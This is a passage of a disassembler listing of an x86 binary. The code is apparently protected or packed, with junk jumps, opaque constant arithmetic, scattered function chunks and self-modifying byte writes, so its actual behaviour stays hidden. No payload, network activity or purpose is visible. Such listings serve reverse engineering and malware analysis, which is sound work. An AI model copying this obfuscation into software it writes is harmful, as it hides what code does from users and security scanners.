dword_42CEA0+3 sub_42D663 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edx push 80D16D38h pop edx add edx, 0ADAF6623h jmp loc_42EDE1 ; --------------------------------------------------------------------------- align 4 dd 0CF8F6800h, 81E90042h, 0FFFFF5h ; --------------------------------------------------------------------------- loc_42D694: ; CODE XREF: lsqvqpii:0042D198j ; sub_42E332+Dp xchg esi, [esp] pop esi call ds:dword_4210C0 ; ExitProcess call sub_42D1E0 ; --------------------------------------------------------------------------- db 0 dd 195E900h db 3 dup(0) ; --------------------------------------------------------------------------- locret_42D6AB: ; CODE XREF: lsqvqpii:0042CB9Bj retn ; --------------------------------------------------------------------------- loc_42D6AC: ; CODE XREF: lsqvqpii:0042E3F6j jmp loc_42DA85 ; --------------------------------------------------------------------------- db 0E9h, 8Ch, 0F4h dd 0FFFFh, 0FFF915E9h db 0FFh ; --------------------------------------------------------------------------- loc_42D6BD: ; CODE XREF: lsqvqpii:0042D0F6j push offset byte_42E591 jmp locret_42DD62 ; --------------------------------------------------------------------------- align 4 dd 4CE98100h, 0E849231Dh, 6D9h, 9BF38100h, 52BC40AEh, 65723D68h dd 4BE95A89h, 0FFFFFDh, 168EE800h, 0 ; --------------------------------------------------------------------------- push offset loc_42DB0F jmp loc_42D23C ; --------------------------------------------------------------------------- word_42D6FA dw 9759h ; DATA XREF: sub_42D2AC+6B8o dd 0D2092404h, 0F4A840Fh, 38680000h, 0E90042CFh, 0FFFFF6AEh dd 2C60000h, 7F685A9Ch, 5E8817CDh, 0A8DBE681h, 0F681DD46h dd 9F3CD0F4h, 9157EE81h, 51E9FF28h, 0Ah, 0DEE58100h, 0E9103D75h dd 7D6h ; --------------------------------------------------------------------------- loc_42D740: ; CODE XREF: lsqvqpii:loc_42E983j add eax, 0C5588DB7h jmp loc_42EB9F ; --------------------------------------------------------------------------- align 4 dd 87241487h, 0D18B240Ch, 0E9D02959h, 0FFFFF80Eh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42D75D: ; CODE XREF: sub_42DC4F+D2Cj jo loc_42CABA add ebx, eax and ecx, 58BF8A9Dh jmp loc_42CE4B ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42D771: ; DATA XREF: sub_42EB44-19DEo pop edi push offset byte_42D820 jmp locret_42DB9D ; --------------------------------------------------------------------------- dd 0C30000h db 0 ; --------------------------------------------------------------------------- loc_42D781: ; CODE XREF: lsqvqpii:0042CC95j jmp loc_42CBDC ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42D788 proc near ; CODE XREF: sub_42D52F+361p xchg esi, [esp+0] pop esi push eax push 0A6217DC7h jmp near ptr dword_42CCEC+19h sub_42D788 endp ; --------------------------------------------------------------------------- align 4 loc_42D798: ; CODE XREF: lsqvqpii:0042D378j ; DATA XREF: sub_42DA05+Ao add edx, ebp push offset word_42E4C6 jmp locret_42E4E9 ; --------------------------------------------------------------------------- dd 860F0000h, 0FFFFF7E3h, 6E880F52h, 8BFFFFFCh, 94880FEBh dd 3B00000Ch, 0F39FE9F9h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D7C3: ; CODE XREF: sub_42E407:loc_42D1C8j push offset byte_42E6AB jmp nullsub_4 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FB88Dh, 0B8BE900h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42D7DA: ; CODE XREF: sub_42D877:loc_42E08Fj pop edi rol edi, 14h xor edi, 0E5A1D7DCh or edi, 65F8536Dh add edi, 95B54EF9h cmp eax, edi pop edi jmp loc_42DA23 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- dd 0C2810000h, 425D4EF8h, 35AE9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D806: ; CODE XREF: sub_42E407:loc_42CE96j xchg edx, ebp jmp loc_42CC71 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 2 locret_42D80E: ; CODE XREF: lsqvqpii:0042ECDFj retn ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42EDBB loc_42D810: ; CODE XREF: sub_42EDBB+15j jmp nullsub_15 ; END OF FUNCTION CHUNK FOR sub_42EDBB ; --------------------------------------------------------------------------- loc_42D815: ; CODE XREF: lsqvqpii:0042EABFj jmp loc_42D076 ; --------------------------------------------------------------------------- jmp loc_42E1AA ; --------------------------------------------------------------------------- align 10h byte_42D820 db 8Bh, 45h, 0FCh ; DATA XREF: lsqvqpii:0042D772o byte_42D823 db 8Ah ; DATA XREF: sub_42EB44-1B1Eo dd 8B992C00h, 2AF6FC55h, 850FA43Ch, 0FFFFF79Eh, 0DE1E9h dd 0FE7AE900h, 0C300FFFFh db 0 ; --------------------------------------------------------------------------- loc_42D841: ; DATA XREF: sub_42DF16o xchg edx, [esp] xchg esi, [esp] mov edx, esi pop esi mov byte ptr [ebx], 0FCh pop ebx push offset byte_42DB27 jmp loc_42E327 ; --------------------------------------------------------------------------- locret_42D858: ; CODE XREF: lsqvqpii:0042EC55j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D85B: ; CODE XREF: sub_42E407+1BEj jmp loc_42DFBE ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD93 loc_42D860: ; CODE XREF: sub_42CD93+EB6j popf loc_42D861: ; CODE XREF: sub_42CD93:loc_42E03Dj xchg edx, [esp+0] push offset loc_42E14E jmp loc_42E12E ; END OF FUNCTION CHUNK FOR sub_42CD93 ; --------------------------------------------------------------------------- dw 0C300h ; --------------------------------------------------------------------------- loc_42D870: ; CODE XREF: lsqvqpii:0042E61Aj jmp locret_42EDD7 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42D877 proc near ; CODE XREF: lsqvqpii:0042E6F1j ; sub_42E407+706p var_3E60 = dword ptr -3E60h var_3E34 = dword ptr -3E34h ; FUNCTION CHUNK AT 0042CC01 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042D232 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D49B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D53F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042D7DA SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042DA23 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042E08F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E1CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E2F5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042E545 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042E5A4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042EA49 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA6D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EA89 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042EC65 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042ECAF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042ED42 SIZE 0000000E BYTES xchg edx, [esp+0] pop edx cmp al, 0A4h jnz loc_42E2FA jmp loc_42D49B sub_42D877 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D52F loc_42D88A: ; CODE XREF: sub_42D52F:loc_42DF39j sub eax, 4B55F2CBh call sub_42D788 ; END OF FUNCTION CHUNK FOR sub_42D52F ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; --------------------------------------------------------------------------- pop ebx push edi pushf push 3E0F1F6h pop edi sub edi, 0A1E6F0FFh jmp loc_42EB21 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42D8AE: ; DATA XREF: lsqvqpii:0042CB96o push 42CC55h jmp locret_42EDE0 ; --------------------------------------------------------------------------- dd 8B01C600h, 4F685759h, 0E90042ECh, 0B94h, 0FAD98C0Fh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_42D8CF: ; CODE XREF: lsqvqpii:0042E20Ej jmp loc_42E01D ; --------------------------------------------------------------------------- dd 0C2815B00h, 0F7964B0Bh, 0FFFAC6E9h, 810000FFh, 0D198DDD2h dd 824E97Dh, 0C3000000h, 0C4DE8100h, 0E974FBB5h, 0FFFFF673h dd 0E90689C3h, 0CDAh ; --------------------------------------------------------------------------- loc_42D904: ; CODE XREF: lsqvqpii:loc_42D61Bj mov byte ptr [edx], 3 pop edx mov ebx, offset locret_42E0E5 jmp loc_42EDAF ; --------------------------------------------------------------------------- dw 5200h ; --------------------------------------------------------------------------- push 91C4A1B8h pop edx add edx, 772F9A77h jmp loc_42E29F ; --------------------------------------------------------------------------- align 2 loc_42D926: ; CODE XREF: lsqvqpii:loc_42EBB7j and ebx, 0F58CB71Ah xor ebx, 445A0906h push edi mov edi, offset loc_42E33C jmp loc_42CD54 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0C3A8F8DEh, 6C1E9DDh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D94C: ; CODE XREF: sub_42E407:loc_42D611j mov byte ptr [esi], 8Bh pop esi loc_42D950: ; CODE XREF: lsqvqpii:loc_42DAB4j xor esi, 9E8234D0h jmp loc_42DBA5 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42D2AC loc_42D95C: ; CODE XREF: sub_42D2AC:loc_42E4F3j add ecx, 9A7EF79Ah add eax, ecx push offset word_42D6FA jmp nullsub_23 ; END OF FUNCTION CHUNK FOR sub_42D2AC ; --------------------------------------------------------------------------- loc_42D96E: ; CODE XREF: lsqvqpii:loc_42E9EAj ; DATA XREF: sub_42E9E0o xchg ebx, [esp] xchg eax, [esp] mov ebx, eax pop eax jmp near ptr loc_42ED4C+1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D97E: ; CODE XREF: sub_42E407-8B6j mov byte ptr [edx], 8Bh pop edx call sub_42D338 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 0 dd 5D4C6800h, 815AD29Bh, 2EB7CEEAh, 0BDF281CCh, 81AB29DEh dd 0E03DC9CAh, 0D7FA6894h, 0F3E90042h db 1, 2 dup(0) ; --------------------------------------------------------------------------- locret_42D9AB: ; CODE XREF: lsqvqpii:0042CECCj retn ; --------------------------------------------------------------------------- mov byte ptr [ebx], 87h xchg eax, [esp] mov ebx, eax pop eax mov ecx, ebp pop ebp xchg edx, [esp] jmp loc_42EB2D ; --------------------------------------------------------------------------- db 0 byte_42D9C1 db 68h, 0Eh, 0CEh ; DATA XREF: lsqvqpii:0042E810o dd 42E90042h, 0FFFFF4h, 0BAE9FD1Bh, 2, 65E95E00h, 0FFFFF6h dd 4FE9FA85h, 0FFFFF9h ; --------------------------------------------------------------------------- locret_42D9E4: ; CODE XREF: lsqvqpii:0042EDF2j retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0E2Fh, 895E9h, 24148700h, 8B242C87h, 714E8D5h, 12E90000h dd 8 db 0 ; =============== S U B R O U T I N E ======================================= sub_42DA05 proc near ; CODE XREF: lsqvqpii:0042D3C6j xchg edi, [esp+0] pop edi xor edx, 0C9C4DC56h push offset loc_42D798 jmp near ptr dword_42CCEC+12h sub_42DA05 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] dd 0D7E90000h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42DA23: ; CODE XREF: sub_42D877-84j jge loc_42EA89 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFF12487h, 1051E9FFh, 0C6000000h, 3C87F606h, 5FF78B24h ; CODE XREF: lsqvqpii:loc_42ED14j dd 42ED9268h, 0F056E900h, 8B00FFFFh, 0C5685110h, 0E90042EBh dd 0FFBh, 7BD1C081h, 5152D55Bh, 42CF95B9h, 0FC1FE900h dd 8700FFFFh, 68582404h, 0A6E60B6Fh, 43E08158h, 0C1DBE7C5h dd 79E905C0h, 3 db 0 ; --------------------------------------------------------------------------- loc_42DA85: ; CODE XREF: lsqvqpii:loc_42D6ACj jz loc_42E244 add [eax+0Bh], bl call near ptr 0E95BC454h lodsd pop es ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- pop eax add eax, 33C793B1h rol eax, 3 and eax, 71E8FD62h xor eax, 0A75D9DC2h jmp loc_42E6B4 ; --------------------------------------------------------------------------- align 4 loc_42DAB4: ; CODE XREF: lsqvqpii:0042E87Aj jbe loc_42D950 xchg ebx, edx jmp loc_42E3B1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42DAC3: ; CODE XREF: sub_42DC4F-DF1j push edi pushf push offset dword_42E844 jmp loc_42CB07 ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E2D3 loc_42DAD1: ; CODE XREF: sub_42E2D3+Dj xchg edi, [esp+0] call eax jmp loc_42E9D3 ; END OF FUNCTION CHUNK FOR sub_42E2D3 ; --------------------------------------------------------------------------- align 4 dd 0F25AE800h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E332 loc_42DAE3: ; CODE XREF: sub_42E332+2Ej xchg edi, [esp+0] push edx pop ecx imul edi, dword ptr ds:loc_42EB9D[eax], -17h call far ptr 0C281h:4 ; CODE XREF: sub_42D1E0+1741j ; END OF FUNCTION CHUNK FOR sub_42E332 ; --------------------------------------------------------------------------- dw 0D68Fh ; --------------------------------------------------------------------------- and cl, [eax] push esi mov esi, ecx xchg esi, [esp] mov ecx, offset loc_42E0B3 jmp loc_42E0AC ; --------------------------------------------------------------------------- align 4 locret_42DB0C: ; CODE XREF: lsqvqpii:loc_42D23Cj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42DB0F: ; DATA XREF: lsqvqpii:0042D6F0o push 89FF32E4h jmp loc_42E229 ; --------------------------------------------------------------------------- db 2 dup(0), 56h ; --------------------------------------------------------------------------- mov esi, ecx xchg esi, [esp] jmp loc_42D616 ; --------------------------------------------------------------------------- db 0 byte_42DB27 db 0E8h ; DATA XREF: lsqvqpii:0042D84Eo ; --------------------------------------------------------------------------- sahf add eax, 0 push edi push 42D913h jmp loc_42DDEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DB39: ; CODE XREF: sub_42E407:loc_42DDA2j rol edx, 1Fh or edx, 0F98EA03Ch rol edx, 9 xor edx, 5AAF4919h add edx, 184615FBh jmp loc_42D97E ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D010 loc_42DB56: ; CODE XREF: sub_42D010-54Ej pop edx loc_42DB57: ; DATA XREF: sub_42D010+5o xchg eax, [esp-8+arg_4] loc_42DB5A: ; CODE XREF: sub_42DC4F:loc_42DFF4j push eax pop ebp pop eax retn ; END OF FUNCTION CHUNK FOR sub_42D010 ; --------------------------------------------------------------------------- dw 0E900h dd 3E7h ; --------------------------------------------------------------------------- loc_42DB64: ; CODE XREF: lsqvqpii:loc_42E30Aj push 548F764Fh jmp loc_42EA5A ; --------------------------------------------------------------------------- dw 8100h ; --------------------------------------------------------------------------- retf 15CCh ; --------------------------------------------------------------------------- db 78h dd 15C2C1C5h, 35D1C281h, 319DF614h, 90E9E2C0h, 10h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] align 4 loc_42DB8C: ; CODE XREF: lsqvqpii:0042E731j jmp loc_42E9EA ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_42DB92 proc near ; CODE XREF: sub_42DD3F:loc_42CBC8j ; sub_42CEFC+9j ... push offset byte_42D429 jmp nullsub_19 sub_42DB92 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_42DB9D: ; CODE XREF: lsqvqpii:0042D777j retn ; --------------------------------------------------------------------------- jmp loc_42EBB5 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DBA5: ; CODE XREF: sub_42E407-AB1j jmp loc_42D3E2 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dw 8B00h dd 93E90045h, 8 ; --------------------------------------------------------------------------- loc_42DBB4: ; CODE XREF: lsqvqpii:0042EA80j jnz loc_42E08A test eax, ebp jmp loc_42E076 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42EB44 loc_42DBC2: ; CODE XREF: sub_42EB44:loc_42CCC9j mov edi, offset loc_42D164 jmp loc_42CE7D ; END OF FUNCTION CHUNK FOR sub_42EB44 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D080 loc_42DBCE: ; CODE XREF: sub_42D080:loc_42E6CAj mov byte ptr [ebx], 87h pop ebx xor eax, 2DD57D4Bh add eax, ebp add eax, 15709024h mov eax, [eax] jmp loc_42CDE4 ; END OF FUNCTION CHUNK FOR sub_42D080 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 jmp locret_42ED0D ; --------------------------------------------------------------------------- align 10h loc_42DBF0: ; CODE XREF: lsqvqpii:loc_42D324j mov byte ptr [eax], 8Bh pop eax push ebp loc_42DBF5: ; DATA XREF: lsqvqpii:0042CD41o db 67h in al, dx push offset sub_42EC30 jmp loc_42D006 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D2AC loc_42DC03: ; CODE XREF: sub_42D2AC+1830j mov byte ptr [edi], 87h pop edi and ecx, 0D30A090Fh or ecx, 6D8D8FFAh and ecx, 75C1486Ah jmp loc_42E4F3 ; END OF FUNCTION CHUNK FOR sub_42D2AC ; --------------------------------------------------------------------------- dw 0F700h dd 1BF881D0h, 0E9298BFAh, 0FFFFF74Ch db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DC2E: ; CODE XREF: sub_42E407:loc_42E908j jz loc_42E9F5 jmp loc_42E903 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] align 2 shl ebx, 11h jmp sub_42D2AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD93 loc_42DC46: ; CODE XREF: sub_42CD93+12B0j shr edi, 0Bh jmp loc_42D860 ; END OF FUNCTION CHUNK FOR sub_42CD93 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_42DC4F proc near ; CODE XREF: sub_42D877+14D0p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042CB07 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CE4B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042D0BF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042D75D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042DAC3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042DF3F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DFF4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042E3AA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E67D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042E966 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042EB9D SIZE 00000007 BYTES xchg edi, [esp+0] xchg ebp, [esp+0] mov edi, ebp pop ebp pushf push 498BEC34h pop ecx add ecx, 555D0EEh jmp loc_42E67D sub_42DC4F endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0F700h ; --------------------------------------------------------------------------- retn 0 ; --------------------------------------------------------------------------- align 10h dd 0DBAE920h, 0E5810000h, 74887E1Eh, 5B241C87h, 0E632B850h dd 3EE90042h, 0Dh, 87860F00h, 87FFFFF8h, 8B5E2434h, 8AFC45h dd 1A68992Ch, 0E90042EDh, 0FFFFFF42h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EC73 loc_42DCA9: ; CODE XREF: sub_42EC73+8j pop ecx push edx mov edx, offset loc_42D520 jmp loc_42E479 ; END OF FUNCTION CHUNK FOR sub_42EC73 ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh dd 0F18B56ECh ; --------------------------------------------------------------------------- loc_42DCBC: ; DATA XREF: sub_42E407:loc_42D3E2o xchg esi, [esp] push edx jmp loc_42EE12 ; =============== S U B R O U T I N E ======================================= sub_42DCC5 proc near ; CODE XREF: sub_42EDBB-1E1Ap xchg eax, [esp+0] pop eax call sub_42EFA1 loc_42DCCE: ; DATA XREF: sub_42EDBB:loc_42E722o nop call sub_42EE3C mov ds:byte_42DDCD, 0Fh mov ds:byte_42DE10, 0Fh retn sub_42DCC5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 2 loc_42DCE6: ; CODE XREF: lsqvqpii:0042E86Dj jmp locret_42E182 ; --------------------------------------------------------------------------- align 4 jmp loc_42E6BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DCF1: ; CODE XREF: sub_42E407:loc_42E4B5j sub edx, 0F0C99E20h rol edx, 1Dh xor edx, 0DEAB2007h jnz loc_42E2C7 add [ebx-0CDB16E8h], cl ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dd 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E930 loc_42DD10: ; CODE XREF: sub_42E930+18j add ecx, 716EB2D9h xchg ecx, [esp+0] jmp loc_42CBC8 ; END OF FUNCTION CHUNK FOR sub_42E930 ; --------------------------------------------------------------------------- dw 0E800h dd 0D00h, 0DE02B850h, 3DE90042h, 4, 7FA8100h, 0E997A1E9h dd 0FFFFFA6Ah db 0, 33h, 0EAh ; =============== S U B R O U T I N E ======================================= sub_42DD3F proc near ; CODE XREF: lsqvqpii:loc_42CD11p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042CBC2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CE22 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042CEF7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CF1C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042D3CB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E176 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E292 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E30F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E8C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EAE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC48 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push eax mov eax, offset loc_42E316 jmp loc_42CEF7 sub_42DD3F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h loc_42DD50: ; CODE XREF: lsqvqpii:0042CFB4j mov ebp, 1BFA93DAh push ebx push 6F588FD8h pop ebx jmp loc_42EBB7 ; --------------------------------------------------------------------------- align 2 locret_42DD62: ; CODE XREF: lsqvqpii:0042D6C2j retn ; --------------------------------------------------------------------------- align 4 db 0, 0C3h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DD67: ; CODE XREF: sub_42E407-443j jmp loc_42E105 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dd 57C28100h, 8BA9E4BCh, 0E92AF612h, 0FFFFEFE9h, 0C35800h dd 42EFA7h, 0 dd 116h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D080 loc_42DD8C: ; CODE XREF: sub_42D080+19j jmp loc_42E5AA ; END OF FUNCTION CHUNK FOR sub_42D080 ; --------------------------------------------------------------------------- align 2 dw 32E9h dd 0FFFFF7h, 65831DB3h, 0EDE2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DDA2: ; CODE XREF: sub_42E407-1096j jmp loc_42DB39 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DDA8: ; CODE XREF: sub_42E407-12D3j jmp loc_42CED3 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0DA8B535Fh, 0BA241C87h, 42EBF5h, 0FFFFDCE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_42DDC3: ; CODE XREF: lsqvqpii:loc_42EB2Dj push edx pop ebp pop edx retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFEE4Dh db 0 byte_42DDCD db 0Fh ; DATA XREF: sub_42DCC5+Fw ; lsqvqpii:0042E3D2o dw 4884h dd 0E9FFFFFDh, 0C15h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_42DDDB: ; CODE XREF: lsqvqpii:0042D4DFj jmp loc_42D0DF ; --------------------------------------------------------------------------- dd 0ACC5F700h, 0E979959Bh, 34Fh db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42DDEE: ; CODE XREF: lsqvqpii:0042DB34j jmp locret_42D5CC ; --------------------------------------------------------------------------- align 4 dd 0E9288900h, 9E6h, 0D790C081h, 0C009A33Fh, 7EE840Fh dd 28E90000h, 0FFFFF4h byte_42DE10 db 0Fh ; DATA XREF: sub_42DCC5+16w ; sub_42E365+Do ... db 89h, 0Ah, 0F4h dd 820FFFFFh, 0FFFFFCC1h, 87D98B53h, 0CD8B241Ch, 0E9FE8B57h dd 16Ch db 0 byte_42DE2D db 0Fh, 82h, 0AAh ; DATA XREF: lsqvqpii:0042D220o dd 52FFFFFCh, 1487D58Bh, 0FE3EE824h, 0C300FFFFh, 70E90000h dd 0E9FFFFFEh, 0FFFFFAA3h, 0C6C10000h, 0FB86E910h, 5E00FFFFh dd 5AAE9h, 14870000h, 6B516824h, 1487B8E4h, 0E9F28B24h dd 0FFFFFE7Ch, 0FD030000h, 38106852h, 815AAAAFh, 6A4F6DCAh dd 41C28175h, 81B2EA4Bh, 74C14DE2h, 14BE9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42DE92: ; CODE XREF: lsqvqpii:loc_42EE12j push 0E38F72CBh pop edx xor edx, 8BAFA8A0h and edx, 0BFB9C219h xor edx, 0F9BF6DF4h push offset loc_42E61F jmp loc_42CCE4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42DEB5: ; DATA XREF: sub_42CD93+7E0o add edx, eax rol edx, 3 jmp loc_42D118 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD93 loc_42DEBF: ; CODE XREF: sub_42CD93:loc_42D566j js loc_42E4DE call loc_42D10E add [eax-17h], dl popa push cs ; END OF FUNCTION CHUNK FOR sub_42CD93 ; --------------------------------------------------------------------------- db 0 dd 34870000h, 0C0815E24h, 0CE8EE006h, 0E9240487h, 0FFFFEFBFh dd 23BE8h, 0E9EA8700h, 442h, 899D0000h, 0EE99E92Eh, 0FFFFh dd 42D4A768h, 0C58E900h, 87000000h, 685F243Ch, 42E8D9h dd 9C1E9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42DF16 proc near ; CODE XREF: lsqvqpii:loc_42D1A4p push offset loc_42D841 jmp nullsub_21 sub_42DF16 endp ; --------------------------------------------------------------------------- db 0 byte_42DF21 db 81h, 0C1h, 77h ; DATA XREF: lsqvqpii:0042D0E3o dd 9DED5699h, 689C098Bh, 0F4993A5Eh, 0FC39E95Ah, 0C300FFFFh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D52F loc_42DF39: ; CODE XREF: sub_42D52F+Aj jmp loc_42D88A ; END OF FUNCTION CHUNK FOR sub_42D52F ; 